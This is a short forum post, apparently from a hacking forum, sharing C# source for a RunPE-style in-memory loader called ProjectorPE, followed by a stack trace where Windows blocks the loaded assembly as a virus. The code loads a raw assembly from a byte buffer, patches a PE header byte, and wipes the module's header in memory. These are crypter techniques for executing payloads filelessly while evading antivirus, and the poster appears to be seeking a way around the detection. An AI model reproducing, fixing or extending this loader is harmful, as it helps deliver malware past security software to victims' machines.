C# A problem with gigajew's runpe (ProjectorPE)

Code

using System;

using System.Reflection;

using System.Runtime.InteropServices;

using System.Security;

using System.Threading;

 

/// <summary>

/// ProjectorPE RunPE for .NET assemblies

/// Created by gigajew@hf

/// Version: 5

/// </summary>

public static class ProjectorPE

{

    [DllImport("kernel32.dll")]

    private static extern void RtlZeroMemory(IntPtr address, int size);

 

    [SuppressUnmanagedCodeSecurity]

    private delegate object ExecuteAssembly(object sender, object[] parameters);

 

    public static void Run(byte[] buffer)

    {

        // patch credits: Menalix (modified by gigajew to not throw exception)

        int e_lfanew = BitConverter.ToInt32(buffer, 0x3c);

        Buffer.SetByte(buffer, e_lfanew + 0x398, 2);

 

        object[] parameters = null;

 

        Assembly assembly = Thread.GetDomain().Load(buffer);

        MethodInfo entrypoint = assembly.EntryPoint;

        if (entrypoint.GetParameters().Length > 0)

        {

            parameters = new object[] { new string[] { null } };

        }

 

        Thread assemblyExecuteThread = new Thread(() =>

        {

            Thread.BeginThreadAffinity();

            Thread.BeginCriticalRegion();

 

            ExecuteAssembly executeAssembly = new ExecuteAssembly(entrypoint.Invoke);

            executeAssembly(null, parameters);

 

            Thread.EndCriticalRegion();

            Thread.EndThreadAffinity();

        });

 

        if (parameters != null)

        {

            if (parameters.Length > 0)

            {

                assemblyExecuteThread.SetApartmentState(ApartmentState.STA);

            }

            else

            {

                assemblyExecuteThread.SetApartmentState(ApartmentState.MTA);

            }

        }

 

        RtlZeroMemory(Marshal.GetHINSTANCE(assembly.ManifestModule), 32);

        assemblyExecuteThread.Start();

       

    }

 

    public static void Run(string strBuffer)

    {

        byte[] buffer = Unwrap(strBuffer);

        Run(buffer);

    }

 

    private static byte[] Unwrap(string buffer)

    {

        byte[] assemblyByteBuffer = new byte[buffer.Length];

        for (int i = 0; i < buffer.Length; i++)

            assemblyByteBuffer[i] = (byte)buffer[i];

        return assemblyByteBuffer;

    }

}

Code

Unhandled Exception: System.BadImageFormatException: Could not load file or assembly '122368 bytes loaded from ConsoleApp3, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null' or one of its dependencies. An attempt was made to load a program with an incorrect format. ---> System.BadImageFormatException: Operation did not complete successfully because the file contains a virus or potentially unwanted software. (Exception from HRESULT: 0x800700E1)

   --- End of inner exception stack trace ---

   at System.Reflection.RuntimeAssembly.nLoadImage(Byte[] rawAssembly, Byte[] rawSymbolStore, Evidence evidence, StackCrawlMark& stackMark, Boolean fIntrospection, Boolean fSkipIntegrityCheck, SecurityContextSource securityContextSource)

   at System.AppDomain.Load(Byte[] rawAssembly)

   at ProjectorPE.Run(Byte[] buffer) in C:\Users\OP\source\repos\ConsoleApp3\ConsoleApp3\Class1.cs:line 28

   at ConsoleApp3.Program.Main(String[] args) in C:\Users\OP\source\repos\ConsoleApp3\ConsoleApp3\Program.cs:line 16